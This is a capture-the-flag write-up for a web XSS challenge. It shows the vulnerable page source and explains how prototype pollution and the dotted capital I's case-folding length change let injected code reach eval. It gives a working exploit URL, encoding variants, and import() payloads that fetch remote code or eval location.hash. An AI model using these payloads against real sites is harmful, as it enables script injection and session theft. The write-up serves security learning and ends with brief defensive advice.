- Category: Web
- Impact: Medium
- Solves: 30
Find a way to execute arbitrary JavaScript
on the challenge page.
The solution:
- should work on the latest version of
Chrome
andFireFox
. - should execute
alert(1337)
. - should leverage a cross site scripting vulnerability on this domain.
- shouldn't be self-XSS or related to MiTM attacks.
- should require no user interaction.
We have a web challenge where we can input some user information within popup alert:
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="./xss_files/bootstrap.min.css">
<title>Contact Info</title>
</head>
<body>
<div class="container mt-4">
<h1>Set Contact Info</h1>
<div class="form-group">
<label for="inpName">Name</label>
<input type="text" class="form-control" id="inpName">
</div>
<div class="form-group">
<label for="inpContact">Contact</label>
<input type="text" class="form-control" id="inpContact">
</div>
<div class="form-group">
<label for="inpValue">Value</label>
<input type="text" class="form-control" id="inpValue">
</div>
<button class="btn btn-primary" onclick="handleInputName(document.getElementById('inpName').value, document.getElementById('inpContact').value, document.getElementById('inpValue').value);">Input</button>
<button class="btn btn-secondary" onclick="runCmdName('alert');">Info</button>
<h1 class="mt-4">Set Token</h1>
<div class="form-group">
<label for="inpToken">Token</label>
<input type="text" class="form-control" id="inpToken">
</div>
<button class="btn btn-primary"
onclick="handleInputToken(document.getElementById('inpToken').value);">Input</button>
<button class="btn btn-secondary" onclick="runCmdToken('alert');">Info</button>
</div>
<script src="./xss_files/core.js"></script>
<script src="./xss_files/md5.js"></script>
<script>
var user = {};
function runCmdToken(cmd) {
if (!user['token'] || user['token'].length != 32) { return; }
var str = `${user['token']}${cmd}(hash)`.toLowerCase();
var hash = str.slice(0, 32);
var cmd = str.slice(32);
eval(cmd);
}
function handleInputToken(inp) {
var hash = CryptoJS.MD5(inp).toString(); // cfr. https://github.com/brix/crypto-js
user['token'] = `${hash}`;
}
function runCmdName(cmd) {
var name = Object.keys(user).find(key => key != "token");
if (!name) { return; }
var contact = Object.keys(user[name]);
if (!contact) { return; }
var value = user[name][contact];
if (!value) { return; }
eval(`${cmd}('Name: ' + name + '\\nContact: ' + contact + '\\nValue: ' + value)`);
}
function handleInputName(name, contact, value) { user[name] = { [contact]: value }; }
const urlParams = new URLSearchParams(window.location.search);
const nameParam = urlParams.get("setName");
const contactParam = urlParams.get("setContact");
const valueParam = urlParams.get("setValue");
const tokenParam = urlParams.get("setToken");
const runContactInfo = urlParams.get("runContactInfo");
const runTokenInfo = urlParams.get("runTokenInfo");
if (nameParam && contactParam && valueParam) { handleInputName(nameParam, contactParam, valueParam); }
if (tokenParam) { handleInputToken(tokenParam); }
if (runContactInfo) { runCmdName('alert'); }
if (runTokenInfo) { runCmdToken('alert'); }
</script>
</body>
</html>
We soon notice the dangerous use of the eval
function in the runCmdToken
& runCmdName
methods.
Looking at the first one, we wonder if we cannot somehow pollute it in various ways.
It does not take us long to find an unicode character that validates it with the very often used __proto__
object.
Our oneliner python3 -c "print([i for i in[chr(i)if len(chr(i).lower())>1 else(0)for i in range(1000)]if i!=0][0])"
code will return the İ
unicode desired:
var user = {__proto__: {"token": "İİİİİİİİİİİİİİİİalert(0x000539);"}}; /* user[name] = { [contact]: value }; */
var cmd = "alert";
if (!user["token"] || user["token"].length != 32) { null; }
var str = `${user['token']}${cmd}(hash)`.toLowerCase(); // 0x000539 === 1337
"i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇alert(0x000539);alert(hash)"
var hash = str.slice(0, 32);
"i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇i̇"
var cmd = str.slice(32);
"alert(0x000539);alert(hash)"
eval(cmd); // Executing 2 alert's.
Which gives us the final working url https://challenge-0324.intigriti.io/challenge/index.html?runTokenInfo=0&setName=__proto__&setContact=token&setValue=İİİİİİİİİİİİİİİİalert(0x000539);
for the popup alert.
Various unicodes can be used to hide data on the setValue
parameter:
%00
nullbyte as&&setValue=1337%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
;%20
space character;%2B
plus sign;%E2%80%8F
right-to-left mark;%E2%82%A8
rupee sign Rs character;%C7%8A
latin capital letter Nj character;%C4%B0
latin capital letter I with dot above.
Furthermore, we can benefit from the import
expression (cfr. https://tinyxss.terjanq.me
page) to run malicious arbitrary code:
import("//ai/");
;import("//dk/");
;import("//pn/");
;import(/\14.₨/);
as'';var msgbox;if(location.hash){eval(location.hash.slice(1))}else{alert(1)}//\n[...]
code;import(/\15.₨/);
asalert(document.domain);
code;import(/\NJ.rs/);
asjavascript:alert(document.domain),1/*[...]
alert code;import("//42/");
ofhttps://0.0.0.42/
url;;;with(location)#domain
becoming;;with(location)alert(hash)
and executed asalert("#domain")
;eval(hash=eval);
asfunction eval() { [native code] }
code (or within a customHTML
page).
Applying CSP, props, eval
blocking and unicode normalization
filtering!